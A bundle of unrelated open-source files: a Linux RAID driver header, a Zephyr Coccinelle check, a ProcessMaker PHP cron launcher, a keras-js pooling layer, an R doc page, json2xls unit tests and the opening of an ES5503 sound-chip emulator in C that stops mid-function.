#define TW_CLEAR_ATTENTION_INTERRUPT(x) (writel(TW_CONTROL_CLEAR_ATTENTION_INTERRUPT, TW_CONTROL_REG_ADDR(x)))
#define TW_CLEAR_HOST_INTERRUPT(x) (writel(TW_CONTROL_CLEAR_HOST_INTERRUPT, TW_CONTROL_REG_ADDR(x)))
#define TW_DISABLE_INTERRUPTS(x) (writel(TW_CONTROL_DISABLE_INTERRUPTS, TW_CONTROL_REG_ADDR(x)))
#define TW_ENABLE_AND_CLEAR_INTERRUPTS(x) (writel(TW_CONTROL_CLEAR_ATTENTION_INTERRUPT | TW_CONTROL_UNMASK_RESPONSE_INTERRUPT | TW_CONTROL_ENABLE_INTERRUPTS, TW_CONTROL_REG_ADDR(x)))
#define TW_MASK_COMMAND_INTERRUPT(x) (writel(TW_CONTROL_MASK_COMMAND_INTERRUPT, TW_CONTROL_REG_ADDR(x)))
#define TW_UNMASK_COMMAND_INTERRUPT(x) (writel(TW_CONTROL_UNMASK_COMMAND_INTERRUPT, TW_CONTROL_REG_ADDR(x)))
#define TW_SOFT_RESET(x) (writel(TW_CONTROL_ISSUE_SOFT_RESET | \
TW_CONTROL_CLEAR_HOST_INTERRUPT | \
TW_CONTROL_CLEAR_ATTENTION_INTERRUPT | \
TW_CONTROL_MASK_COMMAND_INTERRUPT | \
TW_CONTROL_MASK_RESPONSE_INTERRUPT | \
TW_CONTROL_CLEAR_ERROR_STATUS | \
TW_CONTROL_DISABLE_INTERRUPTS, TW_CONTROL_REG_ADDR(x)))
#define TW_PRINTK(h,a,b,c) { \
if (h) \
printk(KERN_WARNING "3w-9xxx: scsi%d: ERROR: (0x%02X:0x%04X): %s.\n",h->host_no,a,b,c); \
else \
printk(KERN_WARNING "3w-9xxx: ERROR: (0x%02X:0x%04X): %s.\n",a,b,c); \
}
#define TW_MAX_LUNS(srl) (srl < TW_FW_SRL_LUNS_SUPPORTED ? 1 : 16)
#define TW_COMMAND_SIZE (sizeof(dma_addr_t) > 4 ? 5 : 4)
#define TW_APACHE_MAX_SGL_LENGTH (sizeof(dma_addr_t) > 4 ? 72 : 109)
#define TW_ESCALADE_MAX_SGL_LENGTH (sizeof(dma_addr_t) > 4 ? 41 : 62)
#define TW_PADDING_LENGTH (sizeof(dma_addr_t) > 4 ? 8 : 0)
#define TW_CPU_TO_SGL(x) (sizeof(dma_addr_t) > 4 ? cpu_to_le64(x) : cpu_to_le32(x))
#pragma pack(1)
/* Scatter Gather List Entry */
typedef struct TAG_TW_SG_Entry {
dma_addr_t address;
u32 length;
} TW_SG_Entry;
/* Command Packet */
typedef struct TW_Command {
unsigned char opcode__sgloffset;
unsigned char size;
unsigned char request_id;
unsigned char unit__hostid;
/* Second DWORD */
unsigned char status;
unsigned char flags;
union {
unsigned short block_count;
unsigned short parameter_count;
} byte6_offset;
union {
struct {
u32 lba;
TW_SG_Entry sgl[TW_ESCALADE_MAX_SGL_LENGTH];
dma_addr_t padding;
} io;
struct {
TW_SG_Entry sgl[TW_ESCALADE_MAX_SGL_LENGTH];
u32 padding;
dma_addr_t padding2;
} param;
} byte8_offset;
} TW_Command;
/* Command Packet for 9000+ controllers */
typedef struct TAG_TW_Command_Apache {
unsigned char opcode__reserved;
unsigned char unit;
unsigned short request_id__lunl;
unsigned char status;
unsigned char sgl_offset;
unsigned short sgl_entries__lunh;
unsigned char cdb[16];
TW_SG_Entry sg_list[TW_APACHE_MAX_SGL_LENGTH];
unsigned char padding[TW_PADDING_LENGTH];
} TW_Command_Apache;
/* New command packet header */
typedef struct TAG_TW_Command_Apache_Header {
unsigned char sense_data[TW_SENSE_DATA_LENGTH];
struct {
char reserved[4];
unsigned short error;
unsigned char padding;
unsigned char severity__reserved;
} status_block;
unsigned char err_specific_desc[98];
struct {
unsigned char size_header;
unsigned short reserved;
unsigned char size_sense;
} header_desc;
} TW_Command_Apache_Header;
/* This struct is a union of the 2 command packets */
typedef struct TAG_TW_Command_Full {
TW_Command_Apache_Header header;
union {
TW_Command oldcommand;
TW_Command_Apache newcommand;
} command;
} TW_Command_Full;
/* Initconnection structure */
typedef struct TAG_TW_Initconnect {
unsigned char opcode__reserved;
unsigned char size;
unsigned char request_id;
unsigned char res2;
unsigned char status;
unsigned char flags;
unsigned short message_credits;
u32 features;
unsigned short fw_srl;
unsigned short fw_arch_id;
unsigned short fw_branch;
unsigned short fw_build;
u32 result;
} TW_Initconnect;
/* Event info structure */
typedef struct TAG_TW_Event
{
unsigned int sequence_id;
unsigned int time_stamp_sec;
unsigned short aen_code;
unsigned char severity;
unsigned char retrieved;
unsigned char repeat_count;
unsigned char parameter_len;
unsigned char parameter_data[98];
} TW_Event;
typedef struct TAG_TW_Ioctl_Driver_Command {
unsigned int control_code;
unsigned int status;
unsigned int unique_id;
unsigned int sequence_id;
unsigned int os_specific;
unsigned int buffer_length;
} TW_Ioctl_Driver_Command;
typedef struct TAG_TW_Ioctl_Apache {
TW_Ioctl_Driver_Command driver_command;
char padding[488];
TW_Command_Full firmware_command;
char data_buffer[1];
} TW_Ioctl_Buf_Apache;
/* Lock structure for ioctl get/release lock */
typedef struct TAG_TW_Lock {
unsigned long timeout_msec;
unsigned long time_remaining_msec;
unsigned long force_flag;
} TW_Lock;
/* GetParam descriptor */
typedef struct {
unsigned short table_id;
unsigned short parameter_id;
unsigned short parameter_size_bytes;
unsigned short actual_parameter_size_bytes;
unsigned char data[1];
} TW_Param_Apache, *PTW_Param_Apache;
/* Response queue */
typedef union TAG_TW_Response_Queue {
u32 response_id;
u32 value;
} TW_Response_Queue;
/* Compatibility information structure */
typedef struct TAG_TW_Compatibility_Info
{
char driver_version[32];
unsigned short working_srl;
unsigned short working_branch;
unsigned short working_build;
unsigned short driver_srl_high;
unsigned short driver_branch_high;
unsigned short driver_build_high;
unsigned short driver_srl_low;
unsigned short driver_branch_low;
unsigned short driver_build_low;
unsigned short fw_on_ctlr_srl;
unsigned short fw_on_ctlr_branch;
unsigned short fw_on_ctlr_build;
} TW_Compatibility_Info;
#pragma pack()
typedef struct TAG_TW_Device_Extension {
u32 __iomem *base_addr;
unsigned long *generic_buffer_virt[TW_Q_LENGTH];
dma_addr_t generic_buffer_phys[TW_Q_LENGTH];
TW_Command_Full *command_packet_virt[TW_Q_LENGTH];
dma_addr_t command_packet_phys[TW_Q_LENGTH];
struct pci_dev *tw_pci_dev;
struct scsi_cmnd *srb[TW_Q_LENGTH];
unsigned char free_queue[TW_Q_LENGTH];
unsigned char free_head;
unsigned char free_tail;
unsigned char pending_queue[TW_Q_LENGTH];
unsigned char pending_head;
unsigned char pending_tail;
int state[TW_Q_LENGTH];
unsigned int posted_request_count;
unsigned int max_posted_request_count;
unsigned int pending_request_count;
unsigned int max_pending_request_count;
unsigned int max_sgl_entries;
unsigned int sgl_entries;
unsigned int num_resets;
unsigned int sector_count;
unsigned int max_sector_count;
unsigned int aen_count;
struct Scsi_Host *host;
long flags;
int reset_print;
TW_Event *event_queue[TW_Q_LENGTH];
unsigned char error_index;
unsigned char event_queue_wrapped;
unsigned int error_sequence_id;
int ioctl_sem_lock;
u32 ioctl_msec;
int chrdev_request_id;
wait_queue_head_t ioctl_wqueue;
struct mutex ioctl_lock;
char aen_clobber;
TW_Compatibility_Info tw_compat_info;
} TW_Device_Extension;
#endif /* _3W_9XXX_H */
| {
"pile_set_name": "Github"
} |
// Copyright (c) 2020 Intel Corporation
// SPDX-License-Identifer: Apache-2.0
// Uses a python database (a dict) to find where const struct device
// variable are being used in zephyr functions and, if it's being in place
// of a void*, it will print an ERROR for loosing the const qualifier.
// If it's being used on an unknown functions from an external module such
// as a HAL, it will print a WARNING in order to check if the const qualifier
// is not lost.
virtual report
////////////////////
// Initialization //
////////////////////
@initialize:python
depends on report
@
@@
import pickle
def check_and_report(F, f, D, nb_args, p):
if f in f_void and int(nb_args) in f_void[f]:
msg = "ERROR: in {} calling {} param with {}, \
loosing const qualifier, please wrap".format(F, f, D)
coccilib.report.print_report(p[0], msg)
elif f not in f_void and f not in f_other and not f.isupper():
msg = "WARNING: in {} calling {} param with {}, \
check if const qualifier is not lost".format(F, f, D)
coccilib.report.print_report(p[0], msg)
// Loading function data base
with open("function_names.pickle", "rb") as f:
data = pickle.load(f)
f_void = data["f_void"]
f_other = data["f_other"]
///////////
// Rules //
///////////
// Find usage of a device instance
@r_find_dev_usage
depends on report
@
local idexpression struct device *D;
expression list[nb_args] args;
identifier f;
position p;
@@
f(args, D@p, ...)
@script:python
depends on r_find_dev_usage
@
f << r_find_dev_usage.f;
D << r_find_dev_usage.D;
nb_args << r_find_dev_usage.nb_args;
p << r_find_dev_usage.p;
@@
check_and_report(p[0].current_element, f, D, nb_args, p)
| {
"pile_set_name": "Github"
} |
<?php
use ProcessMaker\Core\System;
use Illuminate\Foundation\Http\Kernel;
require_once __DIR__ . '/../../../gulliver/system/class.g.php';
require_once __DIR__ . '/../../../bootstrap/autoload.php';
require_once __DIR__ . '/../../../bootstrap/app.php';
try {
//Set variables
$cronName = pathinfo($_SERVER['SCRIPT_FILENAME'], PATHINFO_FILENAME);
$osIsLinux = strtoupper(substr(PHP_OS, 0, 3)) != 'WIN';
$arrayCronConfig = [
'cron' => ['title' => 'CRON'],
'ldapcron' => ['title' => 'LDAP Advanced CRON'],
'messageeventcron' => ['title' => 'Message-Event CRON'],
'timereventcron' => ['title' => 'Timer-Event CRON'],
'sendnotificationscron' => ['title' => 'Send-Notifications CRON']
];
//Define constants
define('PATH_SEP', ($osIsLinux)? '/' : '\\');
$arrayPathToCron = [];
$flagPathToCron = false;
//Path to CRON by $_SERVER['SCRIPT_FILENAME']
$arrayAux = explode(PATH_SEP, str_replace('engine' . PATH_SEP . 'bin', '', realpath($_SERVER['SCRIPT_FILENAME'])));
array_pop($arrayAux);
array_pop($arrayAux);
if (!empty($arrayAux) && $arrayAux[count($arrayAux) - 1] == 'workflow') {
$arrayPathToCron = $arrayAux;
$flagPathToCron = true;
}
if (!$flagPathToCron) {
throw new Exception('Error: Unable to execute the ' . $arrayCronConfig[$cronName]['title'] . ', the path is incorrect');
}
$pathHome = implode(PATH_SEP, $arrayPathToCron) . PATH_SEP;
array_pop($arrayPathToCron);
$pathTrunk = implode(PATH_SEP, $arrayPathToCron) . PATH_SEP;
array_pop($arrayPathToCron);
$pathOutTrunk = implode(PATH_SEP, $arrayPathToCron) . PATH_SEP;
define('PATH_HOME', $pathHome);
define('PATH_TRUNK', $pathTrunk);
define('PATH_OUTTRUNK', $pathOutTrunk);
//Check deprecated files
switch ($cronName) {
case 'ldapcron':
$fileBinDeprecated = PATH_HOME . 'engine' . PATH_SEP . 'bin' . PATH_SEP . 'plugins' . PATH_SEP . 'ldapadvanced.php';
if (file_exists($fileBinDeprecated)) {
@unlink($fileBinDeprecated);
if (file_exists($fileBinDeprecated)) {
throw new Exception('Error: ' . $arrayCronConfig[$cronName]['title'] . ' requires that the "' . $fileBinDeprecated . '" file has been deleted.');
}
}
break;
}
//Include files
require_once(PATH_HOME . 'engine' . PATH_SEP . 'config' . PATH_SEP . 'paths.php');
require_once(PATH_TRUNK . 'framework' . PATH_SEP . 'src' . PATH_SEP . 'Maveriks' . PATH_SEP . 'Util' . PATH_SEP . 'ClassLoader.php');
//Class Loader - /ProcessMaker/BusinessModel
$classLoader = \Maveriks\Util\ClassLoader::getInstance();
$classLoader->add(PATH_TRUNK . 'framework' . PATH_SEP . 'src' . PATH_SEP, 'Maveriks');
$classLoader->add(PATH_TRUNK . 'workflow' . PATH_SEP . 'engine' . PATH_SEP . 'src' . PATH_SEP, 'ProcessMaker');
$classLoader->add(PATH_TRUNK . 'workflow' . PATH_SEP . 'engine' . PATH_SEP . 'src' . PATH_SEP);
$classLoader->addClass('Bootstrap', PATH_TRUNK . 'gulliver' . PATH_SEP . 'system' . PATH_SEP . 'class.bootstrap.php');
$classLoader->addModelClassPath(PATH_TRUNK . 'workflow' . PATH_SEP . 'engine' . PATH_SEP . 'classes' . PATH_SEP . 'model' . PATH_SEP);
//Load classes
$arraySystemConfiguration = System::getSystemConfiguration();
$e_all = (defined('E_DEPRECATED'))? E_ALL & ~E_DEPRECATED : E_ALL;
$e_all = (defined('E_STRICT'))? $e_all & ~E_STRICT : $e_all;
$e_all = ($arraySystemConfiguration['debug'])? $e_all : $e_all & ~E_NOTICE;
//In community version the default value is 0
$systemUtcTimeZone = (int)($arraySystemConfiguration['system_utc_time_zone']) == 1;
app()->useStoragePath(realpath(PATH_DATA));
app()->make(Kernel::class)->bootstrap();
restore_error_handler();
//Do not change any of these settings directly, use env.ini instead
ini_set('display_errors', $arraySystemConfiguration['debug']);
ini_set('error_reporting', $e_all);
ini_set('short_open_tag', 'On');
ini_set('default_charset', 'UTF-8');
ini_set('memory_limit', $arraySystemConfiguration['memory_limit']);
ini_set('soap.wsdl_cache_enabled', $arraySystemConfiguration['wsdl_cache']);
ini_set('date.timezone', $systemUtcTimeZone ? 'UTC' : $arraySystemConfiguration['time_zone']);
define('DEBUG_SQL_LOG', $arraySystemConfiguration['debug_sql']);
define('DEBUG_TIME_LOG', $arraySystemConfiguration['debug_time']);
define('DEBUG_CALENDAR_LOG', $arraySystemConfiguration['debug_calendar']);
define('MEMCACHED_ENABLED', $arraySystemConfiguration['memcached']);
define('MEMCACHED_SERVER', $arraySystemConfiguration['memcached_server']);
define('TIME_ZONE', ini_get('date.timezone'));
date_default_timezone_set(TIME_ZONE);
config(['app.timezone' => TIME_ZONE]);
//CRON command options
$arrayCommandOption = [
'force' => '+force'
];
//CRON status
$flagIsRunning = false;
$lastExecution = '';
$force = false;
if (in_array($arrayCommandOption['force'], $argv)) {
unset($argv[array_search($arrayCommandOption['force'], $argv)]);
$force = true;
}
if (!$force && file_exists(PATH_DATA . $cronName)) {
//Windows flag
//Get data of CRON file
$arrayCron = unserialize(trim(file_get_contents(PATH_DATA . $cronName)));
$flagIsRunning = (bool)((isset($arrayCron['flagIsRunning']))? $arrayCron['flagIsRunning'] : $arrayCron['bCronIsRunning']);
$lastExecution = (isset($arrayCron['lastExecution']))? $arrayCron['lastExecution'] : $arrayCron['sLastExecution'];
}
if (!$force && $osIsLinux) {
//Linux flag
//Check if CRON it's running
exec('ps -fea | grep ' . $cronName . '.php | grep -v grep', $arrayOutput);
$counter = 0;
foreach ($arrayOutput as $value) {
if (preg_match('/^.*\s' . $cronName . '\.php.*$/', $value) ||
preg_match('/^.*\s.+(?:\x2F|\x5C)' . $cronName . '\.php.*$/', $value)
) {
$counter++;
}
}
if ($counter > 1) {
$flagIsRunning = true;
}
}
if ($force || !$flagIsRunning) {
//Start CRON
$arrayCron = ['flagIsRunning' => '1', 'lastExecution' => date('Y-m-d H:i:s')];
file_put_contents(PATH_DATA . $cronName, serialize($arrayCron));
try {
$cronSinglePath = PATH_CORE . 'bin' . PATH_SEP . 'cron_single.php';
$workspace = '';
$date = '';
$argvx = '';
for ($i = 1; $i <= count($argv) - 1; $i++) {
if (!isset($argv[$i])) {
continue;
}
if (preg_match('/^\+w(.+)$/', $argv[$i], $arrayMatch)) {
$workspace = trim($arrayMatch[1], '"');
} else {
$flagDate = false;
if (preg_match('/^\+d(.+)$/', $argv[$i], $arrayMatch) && in_array($cronName, ['cron'])) {
$date = trim($arrayMatch[1], '"');
$flagDate = true;
}
if (!$flagDate) {
$argvx = $argvx . (($argvx != '')? ' ' : '') . $argv[$i];
}
}
}
if (!empty($date) && preg_match('/^' . '[1-9]\d{3}\-(?:0[1-9]|1[0-2])\-(?:0[1-9]|[12][0-9]|3[01])' . '(?:\s' . '(?:[0-1]\d|2[0-3])\:[0-5]\d\:[0-5]\d' . ')?$/', $date)) {
eprintln('[Applying date filter: ' . $date . ']');
}
$counterw = 0;
if ($workspace == '') {
$d = dir(PATH_DB);
while (($entry = $d->read()) !== false) {
if ($entry != '' && $entry != '.' && $entry != '..') {
if (is_dir(PATH_DB . $entry)) {
if (file_exists(PATH_DB . $entry . PATH_SEP . 'db.php')) {
$counterw++;
passthru('php -f "' . $cronSinglePath . '" "' . base64_encode(PATH_HOME) . '" "' . base64_encode(PATH_TRUNK) . '" "' . base64_encode(PATH_OUTTRUNK) . '" ' . $cronName . ' ' . $entry . ' "' . $date . '" ' . $argvx);
}
}
}
}
} else {
if (!is_dir(PATH_DB . $workspace) || !file_exists(PATH_DB . $workspace . PATH_SEP . 'db.php')) {
throw new Exception('Error: The workspace "' . $workspace . '" does not exist');
}
$counterw++;
passthru('php -f "' . $cronSinglePath . '" "' . base64_encode(PATH_HOME) . '" "' . base64_encode(PATH_TRUNK) . '" "' . base64_encode(PATH_OUTTRUNK) . '" ' . $cronName . ' ' . $workspace . ' "' . $date . '" ' . $argvx);
}
eprintln('Finished ' . $counterw . ' workspaces processed');
} catch (Exception $e) {
throw $e;
}
//End CRON
$arrayCron = ['flagIsRunning' => '0', 'lastExecution' => date('Y-m-d H:i:s')];
file_put_contents(PATH_DATA . $cronName, serialize($arrayCron));
} else {
eprintln('The ' . $arrayCronConfig[$cronName]['title'] . ' is running, please wait for it to finish' . "\n" . 'Started in ' . $lastExecution);
eprintln('If do you want force the execution use the option "' . $arrayCommandOption['force'] . '", example: php -f ' . $cronName . '.php +wworkflow ' . $arrayCommandOption['force'] ,'green');
}
echo 'Done!' . "\n";
} catch (Exception $e) {
$token = strtotime("now");
PMException::registerErrorLog($e, $token);
G::outRes( G::LoadTranslation("ID_EXCEPTION_LOG_INTERFAZ", array($token)) . "\n" );
}
| {
"pile_set_name": "Github"
} |
import _Pooling1D from './_Pooling1D'
/**
* MaxPooling1D layer class, extends abstract _Pooling1D class
*/
export default class MaxPooling1D extends _Pooling1D {
/**
* Creates a MaxPooling1D layer
*/
constructor(attrs = {}) {
super(attrs)
this.layerClass = 'MaxPooling1D'
this.poolingFunc = 'max'
}
}
| {
"pile_set_name": "Github"
} |
% Generated by roxygen2: do not edit by hand
% Please edit documentation in R/fb_audience.R
\name{fbad_delete_audience}
\alias{fbad_delete_audience}
\title{Delete a FB custom audience}
\usage{
fbad_delete_audience(fbacc, audience_id)
}
\arguments{
\item{fbacc}{(optional) \code{FB_Ad_account} object, which defaults to the last returned object of \code{\link{fbad_init}}.}
\item{audience_id}{numeric}
}
\value{
custom audience ID
}
\description{
Delete a FB custom audience
}
\references{
\url{https://developers.facebook.com/docs/marketing-api/reference/custom-audience#Deleting}
}
| {
"pile_set_name": "Github"
} |
var json2xls = require('../lib/json2xls');
var prep = json2xls.prepareJson;
var arrayData = require('./arrayData.json');
var objectData = require('./objectData.json');
var weirdData = require('./weirdData');
describe('prepare',function() {
beforeEach(function() {
this.addMatchers({
toEqualFields: function() {
return {
compare: function(actual,expected) {
var res;
var res = expected && expected.all && expected.all(function(item,i) {
return actual[i] && Object.keys(item).all(function(field) {
return actual[i][field] === item[field];
});
})
return {
pass: res
}
}
}
}
})
})
describe('handling illegal xml characters', function() {
it('should remove vertical tabs',function() {
var res = prep(weirdData);
expect(res.rows[0][1]).toEqual(' foo bar ');
});
});
describe('when the data is an empty array', function() {
it('should create an empty config', function() {
var res = prep([]);
expect(res.cols).toEqual([]);
expect(res.rows).toEqual([]);
});
});
describe('when the data is an empty object', function() {
it('should create a config with one empty row', function() {
var res = prep({});
expect(res.cols).toEqual([]);
expect(res.rows).toEqual([[]]);
});
});
describe('when the data is an array', function() {
describe('cols',function() {
it('should create a cols part',function() {
var res = prep(arrayData);
expect(res.cols).toBeDefined();
});
it('should create the correct cols',function() {
var res = prep(arrayData);
expect(res.cols).toEqualFields([{
caption: 'name',
type: 'string'
},{
caption: 'date',
type: 'string'
},{
caption: 'number',
type: 'number'
}]);
});
it('should create the correct cols when fields are given as array',function() {
var res = prep(arrayData,{
fields: ['date','name']
});
expect(res.cols).toEqualFields([{
caption: 'date',
type: 'string'
},{
caption: 'name',
type: 'string'
}]);
});
it('should create the correct cols when fields are given as object',function() {
var res = prep(arrayData,{
fields: {
number: 'string',
name: 'string'
}
});
expect(res.cols).toEqualFields([{
caption: 'number',
type: 'string'
},{
caption: 'name',
type: 'string'
}]);
});
it('should create caption and type field',function() {
var cols = prep(arrayData).cols;
expect(cols[0].caption).toBeDefined();
expect(cols[0].type).toBeDefined();
});
});
describe('rows',function() {
it('should create a rows part',function() {
var res = prep(arrayData);
expect(res.rows).toBeDefined();
});
it('should create rows with data in the correct order',function() {
var res = prep(arrayData);
expect(res.rows[0]).toEqual([ 'Ivy Dickson', '2013-05-27T11:04:15-07:00', 10 ]);
expect(res.rows[1]).toEqual([ 'Walker Lynch','2014-02-07T22:09:58-08:00', 2 ]);
expect(res.rows[2]).toEqual([ 'Maxwell U. Holden', '2013-06-16T05:29:13-07:00', 5]);
});
});
describe('style',function() {
it('should have the provided style xml file',function() {
var fn = 'test.xml';
var res = prep(arrayData,{
style: fn
});
expect(res.stylesXmlFile).toBe(fn);
});
});
});
describe('when the data is an object', function() {
describe('cols',function() {
it('should create a cols part',function() {
var res = prep(objectData);
expect(res.cols).toBeDefined();
});
it('should create caption and type field',function() {
var cols = prep(objectData).cols;
expect(cols[0].caption).toBeDefined();
expect(cols[0].type).toBeDefined();
});
});
describe('rows',function() {
it('should create a rows part',function() {
var res = prep(objectData);
expect(res.rows).toBeDefined();
});
});
describe('style',function() {
it('should have the provided style xml file',function() {
var fn = 'test.xml';
var res = prep(objectData,{
style: fn
});
expect(res.stylesXmlFile).toBe(fn);
});
});
describe('display of nested fields',function() {
it('should write nested fields as json',function() {
var res = prep(objectData);
expect(res.rows[0][3]).toEqual('{"field":"foo"}');
});
});
});
describe('working with missing fields',function() {
it('should leave missing fields blank',function() {
var res = prep([
{
"firma": "transportabel",
"internet": "http://www.transportabel.de",
"Branche": "Möbel",
"STRASSE": "Messingweg 49",
"ort": "Münster-Sprakel",
"TEL_ZENTRALE": "(0251) 29 79 46"
},
{
"firma": "Soziale Möbelbörse & mehr e.V.",
"internet": "http://www.gersch-ms.de",
"Branche": "Möbel",
"STRASSE": "Nienkamp 80",
"ort": "Münster-Wienburg",
"TEL_ZENTRALE": "(0251) 53 40 76"
},
{
"firma": "Bald Eckhart e.K.",
"Branche": "Möbel",
"STRASSE": "Weseler Str. 628",
"ort": "Münster-Mecklenbeck",
"TEL_ZENTRALE": "(0251) 53 40 76"
}
]);
expect(res.rows[2][1]).toEqual(null);
})
})
describe('prepping with config',function() {
it('should get a nested field',function() {
var res = prep(objectData,{
fields:['nested.field']
});
expect(res.rows[0]).toEqual(['foo']);
})
});
}); | {
"pile_set_name": "Github"
} |
/*
ES5503 - Ensoniq ES5503 "DOC" emulator v2.1.1
By R. Belmont.
Copyright R. Belmont.
This software is dual-licensed: it may be used in MAME and properly licensed
MAME derivatives under the terms of the MAME license. For use outside of
MAME and properly licensed derivatives, it is available under the
terms of the GNU Lesser General Public License (LGPL), version 2.1.
You may read the LGPL at http://www.gnu.org/licenses/lgpl.html
History: the ES5503 was the next design after the famous C64 "SID" by Bob Yannes.
It powered the legendary Mirage sampler (the first affordable pro sampler) as well
as the ESQ-1 synth/sequencer. The ES5505 (used in Taito's F3 System) and 5506
(used in the "Soundscape" series of ISA PC sound cards) followed on a fundamentally
similar architecture.
Bugs: On the real silicon, oscillators 30 and 31 have random volume fluctuations and are
unusable for playback. We don't attempt to emulate that. :-)
Additionally, in "swap" mode, there's one cycle when the switch takes place where the
oscillator's output is 0x80 (centerline) regardless of the sample data. This can
cause audible clicks and a general degradation of audio quality if the correct sample
data at that point isn't 0x80 or very near it.
Changes:
0.2 (RB) - improved behavior for volumes > 127, fixes missing notes in Nucleus & missing voices in Thexder
0.3 (RB) - fixed extraneous clicking, improved timing behavior for e.g. Music Construction Set & Music Studio
0.4 (RB) - major fixes to IRQ semantics and end-of-sample handling.
0.5 (RB) - more flexible wave memory hookup (incl. banking) and save state support.
1.0 (RB) - properly respects the input clock
2.0 (RB) - C++ conversion, more accurate oscillator IRQ timing
2.1 (RB) - Corrected phase when looping; synthLAB, Arkanoid, and Arkanoid II no longer go out of tune
2.1.1 (RB) - Fixed issue introduced in 2.0 where IRQs were delayed
*/
//#include "emu.h"
//#include "streams.h"
#include <stdlib.h>
#include <string.h>
#include "mamedef.h"
#include "es5503.h"
typedef struct
{
UINT16 freq;
UINT16 wtsize;
UINT8 control;
UINT8 vol;
UINT8 data;
UINT32 wavetblpointer;
UINT8 wavetblsize;
UINT8 resolution;
UINT32 accumulator;
UINT8 irqpend;
UINT8 Muted;
} ES5503Osc;
typedef struct
{
ES5503Osc oscillators[32];
UINT32 dramsize;
UINT8 *docram;
//sound_stream * stream;
//void (*irq_callback)(running_device *, int); // IRQ callback
//read8_device_func adc_read; // callback for the 5503's built-in analog to digital converter
INT8 oscsenabled; // # of oscillators enabled
int rege0; // contents of register 0xe0
UINT8 channel_strobe;
UINT32 clock;
int output_channels;
int outchn_mask;
UINT32 output_rate;
//running_device *device;
SRATE_CALLBACK SmpRateFunc;
void* SmpRateData;
} ES5503Chip;
/*INLINE ES5503Chip *get_safe_token(running_device *device)
{
assert(device != NULL);
assert(device->type() == ES5503);
return (ES5503Chip *)downcast<legacy_device_base *>(device)->token();
}*/
static const UINT16 wavesizes[8] = { 256, 512, 1024, 2048, 4096, 8192, 16384, 32768 };
static const UINT32 wavemasks[8] = { 0x1ff00, 0x1fe00, 0x1fc00, 0x1f800, 0x1f000, 0x1e000, 0x1c000, 0x18000 };
static const UINT32 accmasks[8] = { 0xff, 0x1ff, 0x3ff, 0x7ff, 0xfff, 0x1fff, 0x3fff, 0x7fff };
static const int resshifts[8] = { 9, 10, 11, 12, 13, 14, 15, 16 };
enum
{
MODE_FREE = 0,
MODE_ONESHOT = 1,
MODE_SYNCAM = 2,
MODE_SWAP = 3
};
// halt_osc: handle halting an oscillator
// chip = chip ptr
// onum = oscillator #
// type = 1 for 0 found in sample data, 0 for hit end of table size
static void es5503_halt_osc(ES5503Chip *chip, int onum, int type, UINT32 *accumulator, int resshift)
{
ES5503Osc *pOsc = &chip->oscillators[onum];
ES5503Osc *pPartner = &chip->oscillators[onum^1];
int mode = (pOsc->control>>1) & 3;
//int omode = (pPartner->control>>1) & 3;
// if 0 found in sample data or mode is not free-run, halt this oscillator
if ((mode != MODE_FREE) || (type != 0))
{
pOsc->control |= 1;
}
else // preserve the relative phase of the oscillator when looping
{
UINT16 wtsize = pOsc->wtsize - 1;
UINT32 altram = (*accumulator) >> resshift;
if (altram > wtsize)
{
altram -= wtsize;
}
else
{
altram = 0;
}
*accumulator = altram << resshift;
}
// if swap mode, start the partner
// Note: The swap mode fix breaks Silpheed and other games.
if (/*(*/mode == MODE_SWAP/*)*/ /*|| (omode == MODE_SWAP)*/)
{
pPartner->control &= ~1; // clear the halt bit
pPartner->accumulator = 0; // and make sure it starts from the top (does this also need phase preservation?)
}
// IRQ enabled for this voice?
if (pOsc->control & 0x08)
{
pOsc->irqpend = 1;
/*if (chip->irq_callback)
{
chip->irq_callback(chip->device, 1);
}*/
}
}
//static STREAM_UPDATE( es5503_pcm_update )
void es5503_pcm_update(void *param, stream_sample_t **outputs, int samples)
{
// Note: The advantage of NOT using this buffer is not only less RAM usage,
// but also a huge speedup. This is, because the array is not marked
// as 'static' and thus re-allocated for every single call.
//INT32 mix[48000*2];
//INT32 *mixp;
int osc, snum;
UINT32 ramptr;
ES5503Chip *chip = (ES5503Chip *)param;
int chnsStereo, chan;
memset(outputs[0], 0x00, samples * sizeof(stream_sample_t));
memset(outputs[1], 0x00, samples * sizeof(stream_sample_t));
//memset(mix, 0, sizeof(mix));
chnsStereo = chip->output_channels & ~1;
for (osc = 0; osc < chip->oscsenabled; osc++)
{
ES5503Osc *pOsc = &chip->oscillators[osc];
if (!(pOsc->control & 1) && ! pOsc->Muted)
{
UINT32 wtptr = pOsc->wavetblpointer & wavemasks[pOsc->wavetblsize], altram;
UINT32 acc = pOsc->accumulator;
UINT16 wtsize = pOsc->wtsize - 1;
//UINT8 ctrl = pOsc->control;
UINT16 freq = pOsc->freq;
INT16 vol = pOsc->vol;
//INT8 data = -128;
UINT8 chnMask = (pOsc->control >> 4) & 0x0F;
int resshift = resshifts[pOsc->resolution] - pOsc->wavetblsize;
UINT32 sizemask = accmasks[pOsc->wavetblsize];
INT32 outData;
//mixp = &mix[0] + chan;
chnMask &= chip->outchn_mask;
for (snum = 0; snum < samples; snum++)
{
altram = acc >> resshift;
ramptr = altram & sizemask;
acc += freq;
// channel strobe is always valid when reading; this allows potentially banking per voice
//chip->channel_strobe = (pOsc->control>>4) & 0xf;
//data = (INT32)chip->docram[ramptr + wtptr] ^ 0x80;
pOsc->data = chip->docram[ramptr + wtptr];
if (pOsc->data == 0x00)
{
es5503_halt_osc(chip, osc, 1, &acc, resshift);
}
else
{
outData = (pOsc->data - 0x80) * vol;
//*mixp += outData;
//mixp += output_channels;
// send groups of 2 channels to L or R
for (chan = 0; chan < chnsStereo; chan ++)
{
if (chan == chnMask)
outputs[chan & 1][snum] += outData;
}
outData = (outData * 181) >> 8; // outData *= sqrt(2)
// send remaining channels to L+R
for (; chan < chip->output_channels; chan ++)
{
if (chan == chnMask)
{
outputs[0][snum] += outData;
outputs[1][snum] += outData;
}
}
if (altram >= wtsize)
{
es5503_halt_osc(chip, osc, 0, &acc, resshift);
}
}
// if oscillator halted, we've got no more samples to generate
if (pOsc->control & 1)
{
//pOsc->control |= 1;
break;
}
}
//pOsc->control = ctrl;
pOsc->accumulator = acc;
//pOsc->data = data ^ 0x80;
}
}
/* mixp = &mix[0];
for (i = 0; i < samples; i++)
for (int chan = 0; chan < output_channels; chan++)
outputs[chan][i] = (*mixp++)>>1;*/
}
//static DEVICE_START( es5503 )
int device_start_es5503(void **_info, int clock, int channels)
{
//const es5503_interface *intf;
int osc;
//ES5503Chip *chip = get_safe_token(device);
ES5503Chip *chip;
